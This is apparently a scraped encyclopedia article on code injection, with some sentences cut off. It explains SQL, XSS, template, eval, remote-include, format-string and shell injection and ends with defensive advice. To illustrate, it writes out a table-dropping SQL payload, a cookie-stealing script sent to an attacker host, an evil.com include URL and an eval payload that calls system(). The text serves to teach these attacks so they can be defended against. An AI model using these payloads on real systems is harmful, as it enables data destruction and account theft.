Code injection

This article appears to contain a large number of buzzwords. There might be a discussion about this on the talk page. Please help improve this article if you can. (September 2024)

Code injections are a class of computer security exploits in which a vulnerable computer program misinterprets ext

The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Assume a query with the follow

Password: 'OR"='

the query will be parsed as:

SELECT User.UserID
FROM User
WHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='

The result is that the table User will be removed from the database. This occurs because the ; symbol signifies the end of one command and the start of a new one. -- signifies the start of a comment.

Code injection is the malicious injection or introduction of code into an application. Some web servers have a guestbook script, which accepts small messages from users, and typically receives messages such as:

Very nice site!

However a malicious person may know of a code injection vulnerability in the guestbook, and enters a message such as:

Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>

If another user views the page then the injected code will be executed. This code can allow the attacker to impersonate another user. However this same software bug can be accidentally triggered by an unassuming user which will cause the website to display bad HTML code.

HTML and script injection is a popular subject, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML, without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data.^[1]

Template engines are often used in modern Web application to display dynamic data. However, trusting non validated user data can frequently lead to critical vulnerabilities^[2] such as Server Side Template Injections. While this vulnerability is similar to Cross-site scripting, template injection can be leverage to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications which often use user inputs and templates to render a web page. The example below shows the concept. Here the template {{visitor_name}} is replaced with data during the rendering process.

Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a malicious visitor_name. Depending on the implementation of the web application, he could choose to inject {{7*'7'}} which the renderer could resolve to Hello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable to Remote code execution.

An eval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into an eval() function call.^[3]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10; system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

PHP allows serialization and deserialization of whole objects. If untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.^[4] Such an attack on Joomla was found in 2013.^[5]

Consider this PHP program (which includes a file specified by request):

<?php
$color = 'blue';
if (isset($_GET['color']))
    $color = $_GET['color'];
require($color . '.php');

The example expects a color to be provided, while attackers might provide COLOR=http://evil.com/exploit causing PHP to load the remote file.

Format string bugs appear most commonly when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following short C program that has a local variable char array password which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

  char user_input[100];
  int int_in;
  char password[10] = "Password1";

  printf("Enter an integer\n");
  scanf("%d", &int_in);
  printf("Please enter a string\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Safe version is: printf("%s", user_input);
  printf("\n");

  return 0;

If the user input is filled with a list of format specifiers such as %s%s%s%s%s%s%s%s, then printf()will start reading from the stack. Eventually, one of the %s format specifier will access the address of password, which is on the stack, and print Password1 to the screen.

Shell injection (or command injection^[6]) is named after Unix shells, but applies to most systems which allow software to programmatically execute a command line. Here is an example vulnerable tcsh script:

# !/bin/tcsh
# check arg outputs it matches if arg is one
if ($1 == 1) echo it matches

If the above is stored in the executable file ./check, the shell command ./check " 1 ) evil" will attempt to execute the injected shell command evil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter in order to defend against an attack.^[7]

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these are system(), StartProcess(), and System.Diagnostics.Process.Start().

Client–server systems such as web browser interaction with web servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program called funnytext to replace a word the user sent with some other word.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

The passthru in the above composes a shell command that is then executed by the web server. Since part of the command it composes is taken from the URL provided by the web browser, this allows the URL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):^[8]

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

• PHP: escapeshellarg() and escapeshellcmd()
• Python: shlex.quote()

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to use APIs that execute external programs directly, rather than through a shell, thus preventing the possibility of shell injection. However, these APIs tend to not support various convenience features of shells, and/or to be more cumbersome/verbose compared to concise shell-syntax.

• Article "Defending against Injection Attacks through Context-Sensitive String Evaluation (CSSE)" by Tadeusz Pietraszek and Chris Vanden Berghe
• News article "Flux spreads wider" - First Trojan horse to make use of code injection to prevent detection from a firewall
• The Daily WTF regularly reports real-world incidences^[spelling?] of susceptibility to code injection in software.